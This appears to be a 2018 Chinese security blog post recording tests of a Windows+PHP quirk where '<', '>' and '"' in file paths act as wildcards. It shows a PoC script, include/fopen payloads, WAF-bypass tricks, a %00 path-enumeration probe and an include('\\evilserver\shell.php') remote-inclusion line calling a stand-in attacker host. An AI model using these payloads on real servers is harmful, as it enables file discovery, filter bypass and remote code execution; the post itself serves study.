Windows+PHP=路径爆破?

Author Avatar
Tr0y 4月 08, 2018 15:22:15 本文共 1.1k 字
  • 文为知己者书
  • 在其它设备中阅读本文章

今天在网上看到一个 win+php 组合的 Bug:Windows 下 php 中访问文件名使用 < > 将会被替换成 * ?,分别代表 N 个任意字符与 1 个任意字符。这篇是学习的测试记录

漏洞信息

Poc

<?php
for ($i=0; $i<255; $i++) {
    $url = '1.ph' . chr($i);
    $tmp = @file_get_contents($url);
    if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知 1.php 存在,以上脚本访问的结果是:

1.php

1.phP

1.ph<

1.ph>

都能得到返回。

前两种能返回结果是总所周知的(因为 windows 的文件系统支持大小的互转的机制),另外的两种返回比较特殊:

在 win+php 中

字符”>”被替换成”?”,字符”<”被替换成”*”,而符号”(双引号)被替换成一个”.”字符

关于该 bug 可以利用的函数我们已经列了如下一表:

函数

利用方法总结

当调用 FindFirstFile()函数时,”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使”<”被替换成”*”,应当采用”<<”。EXAMPLE:
    include(‘shell<’); 
或者:
    include(‘shell<<’); 
    //当文件夹中超过一个以 shell 打头的文件时,
    //该执行取按字母表排序后的第一个文件。 

当调用 FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符。EXAMPLE:
    include(‘shell.p>p’); 
    //当文件中超过一个以 shell.p?p 通配时,
    //该执行取按字母表排序后的第一个文件。

当调用 FindFirstFile()函数时,”””(双引号)被替换成”.”。EXAMPLE:
    include(‘shell”php’); 
    //===>include(‘shell.php’);
如果文件名第一个字符是”.”的话,读取时可以忽略之。EXAMPLE:
    fopen(‘.htacess’); 
    //==>fopen(‘htacess’); 
    //加上第一点中的利用 ==>fopen(‘h<<’); 

文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.” EXAMPLE:
    fopen(“config.ini\\.// \/\/\/.”);==>     
    fopen(‘config.ini\./.\.’); ==>
    fopen(‘config.ini/////.’)==>
    fopen(‘config.ini…..’) 
    //译者注:此处的利用我不是很理解,有何作用?截断?

该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费 4 秒钟的时间,并可能触发时间响应机制以及 max_execution_time 抛错。所幸的是,该利用可以用来绕过 allow_url_fopen=Off 并最终导致一个 RFI(远程文件包含)EXAMPLE:
    include (‘\\evilserver\shell.php’);

用以下方法还可以切换文件的盘名:
    include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php’);
选择磁盘命名语法可以用来绕过斜线字符过滤
    file_get_contents(‘C:boot.ini’); 
    //==> file_get_contents (‘C:/boot.ini’);
在 php 的命令行环境下(php.exe),关于系统保留名文件的利用细节。EXAMPLE:
    file_get_contents(‘C:/tmp/con.jpg’); 
    //此举将会无休无止地从 CON 设备读取 0 字节,直到遇到 eof
EXAMPLE:
    file_put_contents(‘C:/tmp/con.jpg’,chr(0×07)); 
    //此举将会不断地使服务器发出类似哔哔的声音

更深入的利用方法

除了以上已经展示的方法,你可以用下面的姿势来绕过 WAF 或者文件名过滤

请思考该例:

<?php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
?>

访问 test.php?a=../a<%00 可能出现两种结果:

warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in...

Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied...

如果是第一种情况,说明不存在 a 打头的文件,第二种则存在。

此外,有记录显示,有时网站会抛出如下错误:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这说明该文件夹下存在一个以上以 a 打头的文件(夹),并且第一个就是 admin_h1d3

本地实际测试

在 win10 上测试了一下,发现这个利用的语句很奇怪,似乎没有规律。

< 被替换成 * 是没错,但是 * 应该是前面字符重复 0-n 次。然而测试的时候发现

1<php 居然也可以。。。所以先记着 win+php 有这么个缺陷,以后要用到的时候再回来看看。

最后,win 下建立 .htacess 需要用 cmd 语句:

copy con .htaccess

End

What do you think?

本文标题: Windows+PHP=路径爆破?
原始链接: http://www.tr0y.wang/2018/04/08/WinPHPBug/
发布时间: 2018.04.08-15:22
最后更新: 2018.11.03-21:10
版权声明: 本站文章均采用CC BY-NC-SA 4.0协议进行许可。转载请注明出处!